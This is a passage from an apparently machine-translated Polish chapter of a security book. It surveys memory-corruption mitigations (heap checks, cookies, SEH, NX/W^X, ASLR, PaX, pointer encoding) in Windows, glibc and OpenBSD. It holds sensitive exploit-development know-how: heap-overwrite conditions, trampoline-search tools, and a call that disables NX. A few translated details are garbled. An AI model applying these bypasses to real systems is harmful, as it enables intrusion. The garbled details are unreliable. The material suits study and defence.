p w wybranej przez siebie lokalizacji.

```
bck = unsorted_chunks(av);

fwd = bck->fd;

p->bk = bck;

p->fd = fwd;

bck->fd = p; // p is written to a user chosen location

fwd->bk = p;
```

Istnieje kilka innych miejsc w kodzie, w których połączona lista jest ręcznie dostosowywana; jednak nie jest jasne, które z tych miejsc może otworzyć drzwi do exploita. Artykuł wyjaśnia również inne sztuczki, które, w zależności od specyfiki podatnego programu, można wykorzystać do uzyskania 4-bajtowego prymitywu zapisu lub n-bajtowego prymitywu zapisu. Chociaż został napisany w czasie wydania glibc-2.3.5, dokładna analiza różnic wprowadzonych do glibc-2.5 nie wykazała żadnych znaczących zmian, które wpłynęłyby na ważność technik opisanych w artykule. Wstępne testy wykazały, że można również uzyskać pewną przewagę, wykorzystując fakt, że wstawianie węzłów nie jest chronione w systemie Windows. Istnieją jednak inne, lepiej znane techniki, które działają niezależnie od bezpiecznych sprawdzeń unlink(). Większość z nich została zaprezentowana na konferencji SyScan 2004 przez Matta Conovera w jego prezentacji na temat wykorzystywania sterty w systemie Windows XP SP2. Pierwsza metoda, ukuta unsafe unlinking, polega na nadpisaniu wskaźników wstecz i do przodu w nagłówku wartościami, które sprawią, że sprawdzenie przejdzie, ale jednocześnie dadzą pożądane wyniki, gdy węzeł zostanie usunięty z listy. Ta technika jest jasno wyjaśniona w prezentacji Conovera i ostatecznie prowadzi do n-bajtowego prymitywnego zapisu poprzez nadpisanie samej struktury sterty. Wymaga to jednak wykonania kilku kroków i zgadywania, w tym adresu bazowego struktury sterty. W systemie Windows Vista, ponieważ adresy sterty są losowe, atak ten nie powiedzie się (przynajmniej bez dodatkowej pracy). Inną metodą wprowadzoną przez Conover jest nadpisywanie fragmentów, które polegają na uszkodzeniu list lookaside, struktury drugorzędnej służy również do utrzymywania listy wolnych bloków. Listy te są listami połączonymi pojedynczo i nie zawierają żadnych kontroli bezpieczeństwa. Jest to bardzo ogólna i niezawodna technika, a przy prawidłowym użyciu prowadzi do prymitywu zapisu n-bajtowego. Począwszy od dodatku Service Pack 2 systemu Windows XP wprowadzono nowy algorytm zwany stertą o niskiej fragmentacji. Chociaż nie był on używany domyślnie i prawie żadna aplikacja go nie wybrała w tamtym czasie, sytuacja uległa zmianie w systemie Windows Vista, gdzie stosy o niskiej fragmentacji całkowicie zastąpiły listy podręczne, czyniąc ostatni atak niemożliwym do zastosowania.

Zastrzeżenia wszystkich technik wykorzystywania algorytmów i struktur zarządzania stertą polegają na tym, że dla udanego, niezawodnego ataku sterta musi być w stanie kontrolowanym, a po uszkodzeniu czasami trzeba wykonać określone operacje w celu uzyskania zapisu do pamięci prymitywne i wreszcie osiągnąć wykonanie kodu. Na przykład, wymagane warunki nadpisywania fragmentów z widokiem to:

* Co najmniej jeden wolny klocek na liście widokowej dla danego rozmiaru n. (Prezentacja Conovera mówi, że potrzebne są dwa bloki, ale jeden wystarczy.)

* Zastąp początkowe bajty tego wolnego bloku wybranym adresem i ustaw jego flagi na zajęty, aby zapobiec jego połączeniu.

* Po uszkodzeniu drugie wywołanie RtlAllocateHeap(n) zwróci wybrany adres.

* Jeśli możesz kontrolować, co aplikacja zapisuje w tym drugim buforze, masz n-bajtowy prymityw zapisu.

Podczas opracowywania exploita powodującego uszkodzenie sterty bardzo ważne jest, aby zrozumieć, kiedy i dlaczego aplikacja wywołuje malloc() i free() oraz zainwestować czas w szukanie sposobów alokacji i cofania alokacji nowych bloków pamięci o dowolnym rozmiarze i zawartości.

* Czy są jakieś problemy z samą ochroną?

Jak wspomniano wcześniej, w systemie Windows XP SP2 po wykryciu problemu aplikacja nie jest natychmiast przerywana, a sterta pozostaje w nieznanym stanie. Nie jest to zbyt mądra decyzja pod względem bezpieczeństwa, a testy wyraźnie wykazały, że nadpisywanie łączy do przodu i do tyłu dla węzła na freeliście, chociaż nie prowadzi do 4-bajtowego prymitywu zapisu, ma bardzo interesujące i przewidywalne wyniki, otwierające drzwi do innych rodzajów ataków.

Pliki cookie to kolejna opcja ochrony sterty przed przepełnieniem bufora. Pomysł został po raz pierwszy upubliczniony przez Yinronga Huanga 11 kwietnia 2003 r. , ale nigdy nie został zaadoptowany przez żaden główny system operacyjny do 2004 r., kiedy Microsoft go wybrał i umieścił w usłudze Pack 2 dla Windows XP i Service Pack 1 dla Windows 2003. W oryginalnej implementacji Windows plik cookie jest 8-bitową wartością losową, umieszczoną w środku nagłówka bloków sterty. Jest to sprawdzane, gdy bufor jest zwolniony, ale jak zauważył Matt Conover w grudniu 2004 r., jeśli cookie nie jest poprawne, RtlFreeHeap() szczęśliwie je ignoruje i kończy bez robienia czegokolwiek. Daje to atakującemu kolejną szansę na spróbowanie z innym ciasteczkiem, aż w końcu trafi we właściwy i będzie mógł w końcu kontynuować atak. Krótko mówiąc, plik cookie w systemie Windows w ogóle nie chroni przed atakami, w przypadku których istnieje możliwość wielu prób. Ponadto, ponieważ plik cookie znajduje się w środku nagłówka, nie chroni pól rozmiaru i poprzedniego rozmiaru, otwierając również drzwi dla ataków. Jako przykład, sprawdziliśmy w naszych testach, że jeśli pole rozmiaru jest większe niż to, co jest dla porcji na freelist dla dużych porcji (Freelist[0]), może zostać zwrócone użytkownikowi tak, jakby było naprawdę większe, co prowadzi do uszkodzenia pamięci. Począwszy od systemu Windows Vista sytuacja bardzo się zmieniła: podczas tworzenia każdej sterty generowanych jest osiem losowych bajtów. Te bajty są xorowane do pierwszego bajta nagłówka bloku, a integralność jest weryfikowana przez xorowanie trzech pierwszych bajtów i porównanie wyniku z czwartym, jak pokazano w poniższym kodzie wyodrębnionym z RtlpCoalesceFreeBlocks():

```
mov eax, [ebx+50h] ; ebx -> Sterta. +50 = _HEAP.Kodowanie

xor [esi], eax ; esi -> BlockHeader (HEAP_ENTRY)

mov al, [esi+1] ; HEAP_ENTRY.Rozmiar+1

xor al, [esi] ; HEAP_ENTRY.Rozmiar

xor al, [esi+2] ; HEAP_ENTRY.SmallTagIndex

cmp [esi+3], al ; HEAP_ENTRY.SubSegmentCode (Vista)

jnz no_corruption_detected_here
```

Ten sam wzorzec kodu jest powtarzany kilka razy i są też inne weryfikacje integralności. Jest to dodatek do faktu, że Vista implementuje pewien stopień ASLR dla alokacji sterty. Chociaż niektóre bardzo specyficzne miejsca ataku mogą się pojawić, aby ominąć zabezpieczenia sterty systemu Windows Vista, jest bardzo mało prawdopodobne, że przyszłe luki w zabezpieczeniach związane z przepełnieniem bufora oparte na stercie zostaną wykorzystane przez ogólne nadużycie struktur i algorytmów zarządzania stertą. Przyszłe ataki najprawdopodobniej uszkodzą wewnętrzne dane samej aplikacji, czy to pewnego rodzaju wskaźniki funkcji, czy po prostu „czyste dane”. Inną implementacją sterty używającą ciasteczek w nagłówkach fragmentów jest Cisco, jak wyjaśniono w rozdziale 13. Jednak

ponieważ ciasteczka są stałymi wartościami bez żadnych znaków NUL, nie wygląda na to, że zostały tam umieszczone ze względów bezpieczeństwa, ale raczej w celu wykrycia jeśli sterta została przypadkowo uszkodzona, a w takim przypadku marnuje trochę pamięci zamiast powodować awarię systemu. Glib ma również kilka dodatkowych kontroli, takich jak weryfikacja, czy rozmiar porcji nie jest zbyt duży, czy następny sąsiadujący fragment ma sens i czy flagi są poprawne, ale tę ochronę można łatwo ominąć, jeśli bajty NUL nie stanowią problemu . Zespół OpenBSD przyjął radykalnie inne podejście, bezsprzecznie skuteczniejsze w kwestii bezpieczeństwa. Na początek zawsze używali implementacji o nazwie phkmalloc, takiej samej jak FreeBSD. Phkmalloc nie używa połączonych list do utrzymywania listy darmowych fragmentów (tylko lista darmowych stron), a co ważniejsze, z reguły nie miesza informacji kontrolnych z danymi użytkownika. W dużej ilości literatury na temat eksploatacji sterty opublikowano tylko jeden artykuł na temat eksploatacji phkmalloc: „BSD Heap Smashing" napisany przez BBP 14 maja 2003 r. Jednak dzisiaj nawet tysiąc artykułów nie zrobiłoby żadnej różnicy dla OpenBSD. Począwszy od wersji 3.8 OpenBSD, implementacja malloc() jest czymś więcej niż tylko opakowaniem wywołania systemowego mmap(). Wielką zaletą jest to, że ponieważ OpenBSD honoruje ASLR, wartości zwracane przez mmap() są losowe, a ponadto wyraźnie zakazane jest, aby dwa bloki zwracane przez mmap() znajdowały się jeden po drugim w pamięci, co uniemożliwia psuć wszystko, przekraczając granice strony pamięci. Prawdą jest, że gdyby dla każdego pojedynczego wywołania malloc() rozmiar był zaokrąglany w górę do granicy strony (na przykład 4 kilobajty dla Intel x86), byłoby dużo zmarnowanych bajtów; stąd algorytm jest nieco bardziej złożony niż proste wywołanie mmap():

* Tylko bloki o tym samym rozmiarze mogą pochodzić z tej samej strony pamięci.

* Strona jest używana, dopóki nie ma miejsca na cały blok. Gdy nie ma wystarczającej ilości miejsca, ta przestrzeń jest marnowana. Ablock może przekroczyć granicę strony tylko wtedy, gdy jest większy niż strona, a w tym przypadku nie sąsiaduje z żadnym innym blokiem.

* Gdy bloczek jest wolny, można go ponownie wykorzystać, ale kolejność, w jakiej klocki są ponownie wykorzystywane, jest nieco losowa. Gdy wszystkie bloki na stronie są wolne, strona może zostać zwrócona do systemu operacyjnego (a zatem nigdy nie zostanie ponownie użyta), chociaż nie mogliśmy tego empirycznie zweryfikować w naszych laboratoriach.

Możliwości uszkodzenia struktur zarządzania stertą w OpenBSD zależą od istnienia błędu w kodzie zarządzającym stertą lub samych algorytmach, a nie od przepełnienia dynamicznego bufora z powodu błędu aplikacji. Odkładając to na bok, jedyną szansą na eksploatację jest znalezienie wrażliwych danych aplikacji w buforze dostępnym przez przepełnienie. Biorąc jednak pod uwagę, że bufory o tym samym rozmiarze rzadko sąsiadują ze sobą, a bufory o różnych rozmiarach są zawsze od siebie oddalone, można powiedzieć, że chociaż jest to technicznie możliwe, szanse na znalezienie przypadku nadającego się do wykorzystania są bardzo niskie. W bardziej ogólnym przypadku, wraz z ewolucją Linuksa i Windowsa, musisz również przyznać, że wykorzystywanie sterty przez uszkodzenie struktury zarządzania stertą jest coraz trudniejsze i zawodne, więc lepiej zajrzeć do czegoś innego:

* Czy są jakieś ataki na stertę, które w ogóle nie obejmują struktur i algorytmów zarządzania stertą?

Jasne, że są i będą coraz częściej spotykane ze wzrostem ochrony zarządzania stertą . Jak już wspomniano, możliwość wykorzystania przepełnienia bufora zależy wyłącznie od tego, co jest przechowywane po podatnym buforze. Jeśli, na przykład, aplikacja przechowuje wskaźnik do funkcji, który jest używany w pewnym momencie po przepełnieniu bufora, przejęcie kontroli nad przepływem wykonywania przez proste nadpisanie tego wskaźnika do funkcji byłoby trywialne. Chociaż przykład wskaźnika do funkcji jest jednym z najbardziej pożądanych przypadków, nie jest tak daleki od jednej z częstszych sytuacji w aplikacjach C++. W większości implementacji C++, gdy tworzona jest instancja obiektu, na przykład na stercie przy użyciu nowego, pierwszą rzeczą przechowywaną w przydzielonej

przestrzeni, przed polami obiektu, jest wskaźnik klasy, który jest po prostu wskaźnikiem do jego tabeli metod wirtualnych, lub w skrócie vtable. Ta tablica vtable jest tablicą adresów dla wszystkich metod wirtualnych (czyli funkcji) w definicji klasy i chociaż nie musi znajdować się w pamięci do zapisu, jest zawsze używana przez wskaźnik klasy, który jest nieuchronnie przechowywany w sama przestrzeń obiektu, w zapisywalnej pamięci. Jeśli przypadkiem lub ostrożnym masowaniem stosu, obiekt znajduje się po podatnym buforze, vtable można wskazać na listę wskaźników metod wybranych przez atakującego. Później, gdy zostanie użyta dowolna metoda wirtualna, atakujący będzie miał szansę na wykonanie dowolnego kodu. Wskaźniki klas obiektów C++ to tylko przykład, choć dość ogólny. Oczywiście wszelkie inne poufne informacje znajdujące się w pamięci dynamicznej są podatne na tego typu ataki. Podczas próby wykorzystania przepełnienia bufora w pamięci dynamicznej poprzez uszkodzenie danych aplikacji, niezwykle ważne jest kontrolowanie układu sterty. Zwykle nie ma innego sposobu, jak dowiedzieć się więcej o podatnej aplikacji, a nawet wtedy dostępnych może być tylko kilka opcji. Sztuka twórców exploitów polega na uzyskiwaniu maksymalnych korzyści z ograniczonych i skomplikowanych zasobów. Dostępnych jest kilka narzędzi do śledzenia ewolucji sterty. Ltrace dla Linuksa i truss dla Solarisa i AIX mogą być użyte do zobaczenia w tekście wywołań malloc() i innych. W systemie Windows zalecamy PaiMei jako bardzo ogólne narzędzie. Inne narzędzia wykorzystują wykresy i rysunki, aby lepiej wyrazić ewolucję sterty: Heap Vis, wtyczka do OllyDbg autorstwa Pedram Amini; heap_trace.py, skrypt PaiMai, również autorstwa Pedram i HeapDraw, przez grupę w CoreLabs Pierwsze dwa są przeznaczone wyłącznie dla systemu Windows; ten ostatni może być używany w systemach Windows, Linux, Solaris i innych. Ochrona sterty będzie się nadal poprawiać, ale chociaż bloki pamięci mogą zostać przepełnione do sąsiednich bloków pamięci, zawsze istnieje ryzyko uszkodzenia danych aplikacji, aby uruchomić nieoczekiwane funkcje podatnej aplikacji.

Zabezpieczenia SEH systemu Windows

Z perspektywy osoby atakującej mechanizm obsługi wyjątków strukturalnych (SEH) w systemie Windows jest sposobem na przechwycenie przepływu wykonywania po przepełnieniu buforu opartego na stosie. Microsoft zdał sobie z tego sprawę w czasie Windows 2000 Service Pack 4, kiedy powoli zaczął dodawać coraz więcej zabezpieczeń do mechanizmu, aż osiągnął to, co masz dzisiaj w 32-bitowym systemie Windows Vista (wersja 64-bitowa jest zupełnie inna) . Kod trybu użytkownika implementujący wszystkie mechanizmy uruchamia się w funkcji KiUserExceptionDispatcher() w ntdll.dll. W przypadku wątpliwości lub jeśli chcesz zrozumieć, co zmienia się w nowej wersji systemu Windows, jest to funkcja, którą musisz zrozumieć. Poniżej podsumowano zabezpieczenia w obecnych wersjach:

* Rejestry są zerowane przed wywołaniem funkcji obsługi. Chroni to przed prostymi trampolinami.

* EXCEPTION_REGISTRATION_RECORD musi być umieszczony w granicach stosu i uporządkowany w pamięci. Chroni to przed niektórymi technikami eksploatacji, które umieszczały fałszywy EXCEPTION_REGISTRATION_RECORD na stercie.

* Program obsługi wyjątków nie może znajdować się w stosie. Jego adres jest porównywany z limitami stosu przechowywanymi w fs:[4] i fs:[8]. Jeśli chcesz przeskoczyć do kodu na stosie, możesz to zrobić tylko pośrednio poprzez kod w innej sekcji, chyba że sprzęt W^X jest na swoim miejscu. To ulepszenie chroni przed umieszczaniem kodu na stosie i bezpośrednim przeskakiwaniem do niego.

* Pliki binarne środowiska PE (.EXE, .DLL itd.) skompilowane w programie Visual Studio z opcją /SafeSEH zawierają listę dozwolonych programów obsługi wyjątków. Cała reszta kodu w obrazie PE nie może być używana jako obsługa wyjątków. Ma to na celu ochronę przed trampolinami drugiej generacji, takimi jak pop-pop-ret, i jest dostępny od wersji Windows XP SP 2 i Windows 2003 SP1.

* Poniższe zasady dotyczą innych sekcji pamięci procesu, albo należy do PE, który nie został skompilowany z /SafeSEH, albo nie należący w ogóle do dowolnego PE:

* Jeśli bazowy mikroprocesor obsługuje strony NX, procedura obsługi może znajdować się tylko w pamięci oznaczonej jako wykonywalna. Jak wyjaśniono, nie każda aplikacja ma włączoną tę funkcję.

* Gdy sprzęt nie obsługuje NX, kod w RtlIsValidHandler() w ntdll.dll używa NtQueryVirtualMemory(), aby sprawdzić, czy strona jest oznaczona jako wykonywalna; to nazywamy oprogramowaniem W^X.

* Można by się spodziewać, że jeśli strona zostanie oznaczona jako niewykonywalna, kod rozsyłający wyjątek w żadnym wypadku nie pozwoli na wykonanie, ale gra nie zostanie przegrana do końca.

* Zanim krzykniesz, że procedura obsługi wyjątków jest nieprawidłowa, RtlIsValidHandler() sprawdza niektóre globalne flagi dla poszczególnych procesów, używając ZwQueryInformationProcess(). Do XP SP2 tylko jedna flaga (ExecuteDispatchEnable) zostało zaznaczone; od Vista dwie flagi (ExecuteDispatchEnable | ImageDispatchEnable) muszą być włączone aby umożliwić wykonywanie stron zmapowanych jako wykonywalnych.

* Ten mechanizm jest taki sam dla obsługiwanego sprzętowo W^X

* Jak przedstawiono w Części 8, niektóre standardowe programy obsługi wyjątków (zwłaszcza __except_handler3) języka Visual C++ mogą być wykorzystywane do wykonywania kodu w systemach Windows XP SP2 i Windows 2003 SP1. Według artykułu Bena Nagy&priem;ego z eEye , wersje tych funkcji zawarte w nowszych Visual Studios są silniejsze w przypadku stosu korupcji i jak dotąd nie ma nowych postępów w omijaniu tych modyfikacji.

Biorąc pod uwagę wszystkie istniejące zabezpieczenia SEH, widać, że w przypadku, gdy można sterować wskaźnikiem do funkcji obsługi wyjątków, nie będzie łatwo znaleźć odpowiednie miejsce ze strefy zatwierdzonej przez obsługę wyjątków. Warunki takiego adresu zostały właśnie wymienione, ale tak naprawdę znalezienie dobrego kandydata nie jest łatwe. Oczywiście, jeśli możesz umieścić swój kod bezpośrednio w dobrze znanej lokalizacji pamięci w dozwolonym miejscu, możesz po prostu ustawić go jako obsługę wyjątków. Ale w najczęstszym przypadku procedura obsługi wyjątków jest uszkodzona po przepełnieniu bufora opartego na stosie, twój kod nieszczęśliwie pozostanie na stosie i będziesz potrzebować małej trampoliny (lub kodu skoku) w strefie zatwierdzonej przez obsługę wyjątków, aby pośrednio dotrzeć do twojego kod lub w inny sposób będzie musiał wstrzyknąć kod w inne obszary pamięci w jakikolwiek inny sposób. Sekwencja pop-pop-ret jest opcją, ale jest ich sporo więcej. Chociaż możesz ręcznie przeglądać pamięć obrazów, jest to szalone zadanie i prawdopodobnie powinieneś użyć komputera do wyszukiwania. W końcu po to właśnie są komputery. Na ratunek przychodzą trzy różne narzędzia: EEREAP autorstwa grupy w eEye , Pdest autorstwa Nicolasa Economou z Core Security oraz SEHInspector autorstwa panoramix, również z Core. Pierwsze dwa narzędzia opierają się na tym samym pomyśle: zaczynając od zrzutu pamięci w momencie wystąpienia wyjątku, próbują instrukcje po instrukcji, znajdując te, które będą działać jako trampolina dla twojego kodu. Jako bardzo prosty przykład, gdybyś wiedział, że rejestr EAX wskazuje na twój kod, wystarczyłby prosty JMP EAX, ale także CALL EAX, PUSH EAX-RET, MOV EBX, EAX-JMP EBX i nieskończona liczba kombinacji, w tym te, które są pełne kodu noplike.

EEREAP

EEREAP działa ze zrzutu pamięci, emulując mikroprocesor, nie wykonując instrukcji. Wraz ze zrzutem pamięci należy go również zasilić plikiem kontekstowym, w którym definiujesz wartości rejestrów, układ pamięci i cel wyszukiwania. (Aby uzyskać więcej informacji, spójrz na prezentację i plik readme dołączony do pakietu.) Poniżej przedstawiono prosty skrypt EEREAP, który znajduje wszystkie

odpowiednie adresy do użycia jako trampolina obsługi wyjątków, aby przeskoczyć do kodu, jak pop-pop -ret lub jakikolwiek inny:

stos: 800h, RW

ESP = stos+400h

EBP = stos + 420h

kod:10h,RO,TARGET

[stos+408h] = kod

[stos+414h] = kod

[stos + 41 kanałów] = kod

[stos + 42 kanały] = kod

[stos+444h] = kod

[stos+450h] = kod

Nie jest to doskonały skrypt, ponieważ może znaleźć adresy, których użycie spowoduje nadpisanie kodu śmieciami, ale w większości przypadków działa dobrze.

pdest

pdest polega na zawieszeniu zaatakowanego procesu i prześledzeniu kodu, wykonaniu każdej instrukcji z danego adresu, aż do osiągnięcia określonego celu lub wykonania określonej liczby instrukcji. Potem zaczyna się od nowa pod następnym adresem. Na przykład możesz go użyć do znalezienia odpowiednich trampolin do użycia po przejęciu obsługi wyjątków:

C:\> pdest vuln.exe 7c839aa8 [esp+8]

Cel = 0022ffe0 - 0022ffe0

Adresy do wypróbowania: 7991296

004016c8

00401b47

00401b74

00401bb7

00401kabina

00401eae

9,4% complete

Jego pierwszym argumentem jest numer procesu, do którego należy dołączyć, lub nazwa aplikacji, której należy szukać, a następnie dołączyć. Drugi to adres, pod którym pdest powinien się uruchomić i zacząć działać, o czym usłyszysz za sekundę. Trzeci określa, gdzie naprawdę chcesz skoczyć: może to być adres lub zakres, rejestr, rejestr i przemieszczenie i tak dalej. W tym przypadku używasz [esp+8], ponieważ wiesz, że wskaźnik do kodu będzie tam obecny w momencie, gdy będziesz mógł przejąć przepływ wykonywania. Ten pośrednik zostanie przekonwertowany na liczbę, a następnie użyty, więc

znajdzie również instancje za pomocą [esp+14] i tak dalej. Drugi argument to adres, który powinien zostać zastąpiony tym, co znajdzie pdest. W przypadku obsługi wyjątków dobrym pomysłem jest użycie oryginalnego programu obsługi wyjątków. Tak więc pełny proces znajdowania odpowiedniej trampoliny obsługującej wyjątki za pomocą pdest wygląda następująco:

1. Uruchom podatną aplikację.

2. Dołącz do niego za pomocą debugera i pozwól mu kontynuować.

3. Wygeneruj wyjątek (na przykład z niedokończonym exploitem).

4. Po zatrzymaniu debugera sprawdź, jaki jest bieżący program obsługi wyjątków.

5. Zamknij debuger i uruchom ponownie aplikację.

6. Uruchom pdest, używając adresu znalezionego w kroku 4.

7. Wygeneruj wyjątek jak w kroku 3.

8. pdest powinien zacząć działać.

Znaleźliśmy całkiem ciekawe i niezawodne trampoliny za pomocą pdest. Zarówno pdest, jak i EEREAP są dobrymi przyjaciółmi autora exploitów.

SEHInspektor

SEHInspector może być używany do dwóch różnych celów. Z jednej strony powie ci, czy PE zostanie załadowany pod losowym adresem w systemie Windows Vista; z drugiej strony powie ci, czy został skompilowany z /SafeSEH, iw takim przypadku wyświetli listę wszystkich prawidłowych zarejestrowanych programów obsługi wyjątków. Możesz go uruchomić na DLL lub EXE. Kiedy uruchomisz go w DLL, wywoła LoadLibrary(), a następnie będzie pracował z obrazem w pamięci. Kiedy jest używany w EXE, uruchamia aplikację zawieszoną, jak debugger, a następnie pracuje z obrazem w pamięci, wyświetlając również charakterystykę wszystkich bibliotek DLL załadowanych przez proces. Jedynym argumentem wiersza poleceń jest plik PE do sprawdzenia (DLL lub EXE), a dane wyjściowe są bardzo opisowe. Aby uzyskać więcej informacji, zapoznaj się z dołączoną dokumentacją.

Inne zabezpieczenia

Istnieje ogromna liczba mechanizmów ochrony. Do tej pory omówiliśmy najczęstsze zabezpieczenia zapobiegające wykonaniu obcego kodu. W tej sekcji znajdziesz krótkie wprowadzenie do innych mechanizmów tego typu. Nie obejmujemy innych zabezpieczeń, które ograniczają możliwości atakującego, takich jak wszystkie rodzaje piaskownicy, kontrola dostępu oparta na rolach (RBAC) i obowiązkowa kontrola dostępu (MAC).

Ochrona jądra

Ta część nie mówiła jeszcze konkretnie o ochronie jądra; jednak, jeśli chodzi o zapobieganie wykorzystywaniu błędów jądra, wszystkie omówione dotychczas zabezpieczenia trybu użytkownika nie będą miały żadnego znaczenia. Historia pokazała, że luki w jądrze są prawdziwe i można je wykorzystać lokalnie, a czasem zdalnie. Jądro, będące obecnie składnikiem systemu operacyjnego, w którym zaimplementowano najmniej ogólnych mechanizmów ochrony, stało się częstszym celem twórców exploitów. Bardzo niewiele projektów dostrzegło problem i zaczęło coś z tym robić. OpenBSD rozpoczął kompilację swoich jąder z ProPolice aktywowanym od wersji 3.4 w 2003 roku. Jądro Linux jest gotowe do kompilacji z ProPolice na niektórych platformach, przynajmniej od wersji 2.6.18. Bardzo niewiele dystrybucji już to zawiera. OpenBSD ma częściową obsługę W^X po stronie jądra na niektórych

platformach. A Windows XP, począwszy od Service Pack 2, ma nx-stack dla procesorów 32-bitowych i pełniejszą implementację W^X dla procesorów 64-bitowych. A potem jest PaX i jego przyszła wersja. Istniejąca wersja PaX, przynajmniej do połowy 2007 roku, ma trzy różne zabezpieczenia jądra: KERNEXEC, UDEREF i RANDKSTACK:

* KERNEXEC implementuje W^X po stronie jądra, zapewniając, że tylko część kodu jądra jest wykonywalna i nie jest zapisywalna. Jednocześnie sprawia, że sekcja kodu i rodata są naprawdę tylko do odczytu (jak sama nazwa wskazuje).

* UDEREF zapewnia, że nie można uzyskać dostępu do bezpośrednich wskaźników z obszaru użytkownika podczas kopiowania danych z lub do jądra oraz że wskaźniki jądra nie mogą być używane podczas kopiowania danych z lub do obszaru użytkownika. Jako efekt uboczny, chociaż wskaźnik NULL może być dostępnym adresem dla obszaru użytkownika, nie byłby to prawidłowy adres dla jądra i wygeneruje wyjątek, jeśli zostanie uzyskany w niewłaściwym kontekście.

* RANDKSTACK zapewnia, że stos jądra jest losowany przy wejściu do każdego wywołania systemowego.

Aby podsumować ochronę jądra, zalecamy przeczytanie bardzo interesującego artykułu autorstwa pipacs na temat teraźniejszości i przyszłości PaX, w tym ochrony jądra, problemów, które może rozwiązać, oraz dobrej analizy istniejących słabych punktów PaX.

Ochrona wskaźnika

Prawdopodobnie pierwszym publicznym wydaniem czegoś, co implementowało zabezpieczenia wskaźników, była StackShield firmy Vendicator w wersji 0.6, wydana 1 września 1999 r. Ochrona ta była ukierunkowana w szczególności na wszelkie pośrednie wywołania funkcji, dodając kontrole w czasie wykonywania, które potwierdzały, że adres docelowy znajdował się poniżej obszaru danych, co w tamtym czasie oznaczało w dużej mierze sekcję .text aplikacji. Kilka lat później, 13 sierpnia 2003 r., Crispin Cowan zaprezentował PointGuard, kolejną ochronę wskaźnika funkcji, która również instruuje wszystkie pośrednie wywołania funkcji (a także skoki w dal). W przypadku PointGuard wskaźnik jest przechowywany w pamięci zawsze zakodowany ze ksorowaną globalną wartością losową i dekodowany, gdy jest przenoszony do rejestru przed rozgałęzieniem. Chociaż istnieje kilka niezależnych łat dla GCC, żadna ochrona wskaźnika funkcji nie jest obecnie zawarta w standardowej dystrybucji GCC i dopóki to się nie stanie, jest bardzo mało prawdopodobne, aby te zabezpieczenia były zawarte w większości dużych dystrybucji Linuksa. W dodatku Service Pack 2 dla Windows XP i Service Pack 1 dla Windows 2003 firma Microsoft wprowadziła dwie funkcje do kodowania i dekodowania wskaźników (EncodePointer() i DecodePointer()), które działają w bardzo podobny sposób do PointGuard. To kodowanie wskaźnika jest obsługiwane w systemie Windows Vista. W systemie Windows istnieje więcej niż jedna implementacja (RtlEncodePointer() i RtlEncodeSystemPointer()). Pierwszy pobiera losowy klucz za pomocą RtlQueryInformationProcess(-1, 0x22, ...), ale drugi przechowuje go w globalnej sekcji współdzielonej przez wszystkie procesy. Chociaż ta wspólna sekcja jest tylko do odczytu, ten klucz globalny może zostać odczytany z dowolnego innego procesu lokalnego i użyty w jakimś lokalnym ataku, jeśli zajdzie taka potrzeba.

Różnice wdrożeniowe

Stale rosnąca liczba różnych systemów operacyjnych, dystrybucji i wersji sprawia, że prawie niemożliwe jest śledzenie, gdzie i gdzie zaimplementowano ochronę. Ta sekcja stara się zapewnić zwięzły przegląd najczęstszych implementacji, próbując dostrzec ich różnice i słabości.

Okna

Od czasu wprowadzenia Service Pack 2 dla Windows XP i Service Pack 1 dla Windows 2003, Microsoft dodaje do systemu operacyjnego różne mechanizmy ochrony. Na poniższej liście można znaleźć podsumowanie tego, co jest obecne w różnych wersjach systemu Windows aż do pierwszego wydania systemu Windows Vista. (Oczywiście, w chwili pisania tego tekstu, pełny zasięg modyfikacji wprowadzonych w systemie Windows Vista nie został jeszcze odkryty.)

W^X

* Począwszy od XP SP2, system Windows ma natywną obsługę funkcji NX procesorów AMD i Intel.

* W domyślnej 32-bitowej instalacji systemu Windows tylko kilka aplikacji ma włączoną tę funkcję, reszta może uruchamiać kod w dowolnym miejscu pamięci.

* Na sprzęcie, na którym nie ma obsługi NX (lub jeśli obsługa nie jest włączona), nadal istnieją pewne testy oprogramowania wbudowane w mechanizm obsługi wyjątków strukturalnych. Te mechanizmy programowe są domyślnie włączone tylko w kilku składnikach firmy Microsoft.

* Aby dowiedzieć się, czy aplikacja ma włączone zabezpieczenia, możesz ręcznie przetestować ją w debugerze lub użyć Eksploratora procesów

* W^X w systemie Windows można wyłączyć dla poszczególnych procesów za pomocą wywołania ZwSetInformationProcess(-1, 0x22, 0x400004, 4) lub pojedynczego wywołania w środku funkcji w ntdll.dll, jak krótko skomentowano w część „Pamięć W^X (zapisywalna lub wykonywalna)" wcześniej w tym rozdziale.

* Pamięć W+X można zażądać z systemu operacyjnego za pomocą funkcji VirtualaAlloc().

* Żadna sekcja nie jest odwzorowana W+X w standardowych zastosowaniach.

* W 64-bitowych wersjach systemu Windows funkcja W^X jest domyślnie włączona dla każdej aplikacji i zgodnie z oficjalną dokumentacją nie można jej wyłączyć.

ASLR

* Do systemu Windows Vista pamięć dla stosu różnych wątków jest tworzona przy użyciu funkcji VirtualAlloc(). W rezultacie ich adresy nie są w 100% przewidywalne, prawdopodobnie poza adresem głównego wątku.

* Począwszy od dodatku SP2 systemu Windows XP, lokalizacja bloku środowiska procesu (PEB) i bloku środowiska/informacji o wątkach (TEB/TIB) jest losowo pobierana z zestawu 16 znanych adresów za każdym razem, gdy uruchamiany jest nowy proces.

* Ta randomizacja została wprowadzona najprawdopodobniej w celu uniemożliwienia korzystania z PEBLockRoutine i PEBUnlockRoutine, dwóch wskaźników funkcji przechowywanych w PEB, często nadpisywanych przez exploity w celu uzyskania kontroli nad przepływem wykonywania.

* Począwszy od systemu Windows Vista adres stosu i lokalizacja sterty dla każdej sterty w procesie są losowo przydzielane za każdym razem, gdy tworzony jest nowy proces. Szybkie wyniki eksperymentalne pokazują, że około 8 bitów jest losowych dla adresów sterty i 14 dla stosu. Z tych 14 bitów 9 znajduje się w dolnych 11 bitach; stąd czasami, jeśli atakujący może kontrolować więcej niż 2K kolejnych przestrzeni w stosie, współczynnik randomizacji można skutecznie zmniejszyć do 5 bitów.

* Począwszy od systemu Windows Vista, 8-bitowe adresy ładowania bibliotek dynamicznych i aplikacji są losowane raz przy każdym ponownym uruchomieniu, jeśli zostały skompilowane przy użyciu przełącznika /DYNAMICBASE programu Visual Studio 2005. Aby sprawdzić, czy dana biblioteka DLL lub

EXE jest oznaczona jako dynamiczna bazy, możesz użyć SEHInspector, jak opisano w sekcji „Zabezpieczenia Windows SEH” we wcześniejszej części tego rozdziału.

